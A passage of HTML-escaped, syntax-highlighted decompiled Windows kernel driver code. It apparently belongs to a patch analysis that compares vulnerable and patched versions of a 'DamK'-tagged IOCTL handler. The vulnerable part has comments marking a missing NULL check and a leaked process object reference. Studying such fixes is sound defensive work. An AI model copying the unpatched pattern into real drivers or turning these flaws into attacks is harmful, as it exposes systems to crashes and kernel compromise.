&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObReferenceObjectByHandleWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ProcessHandle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1FFFFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="n"&gt;PsProcessType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;DamK&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// v24 = PEPROCESS&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;RtlInitAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DestinationString&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PsGetProcessImageFileName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlAnsiStringToUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;UnicodeString&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DestinationString&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PsQueryProcessCommandLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INFO_LENGTH_MISMATCH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;DamK&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// *** BUG #2: no NULL check on PoolWithTag ***&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PsQueryProcessCommandLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                                        &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;PsGetProcessSessionId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DampAddProcessToJobObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;137&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;DamK&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// unconditional&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;RtlFreeUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;UnicodeString&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ZwClose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ProcessHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// *** BUG #1: ObfDereferenceObject(v24) NEVER CALLED — reference leak ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED — IOCTL 0x22a01c case ===&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x22A01Cu&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UnicodeString&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UnicodeString&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PsLookupProcessByProcessId&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;MasterIrp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// FIX&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;RtlInitAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DestinationString&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PsGetProcessImageFileName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlAnsiStringToUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;UnicodeString&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DestinationString&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PsQueryProcessCommandLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INFO_LENGTH_MISMATCH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;DamK&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// FIX: NULL check&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PsQueryProcessCommandLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                                            &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="n"&gt;PsGetProcessSessionId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DampAddProcessToJobObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                          &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;137&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_NO_MEMORY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// FIX: 0xC0000017&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// 0xC000000D&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Unified, guarded cleanup:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UnicodeString&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlFreeUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;UnicodeString&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="n"&gt;ObfDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// FIX: release ref&lt;/span&gt;
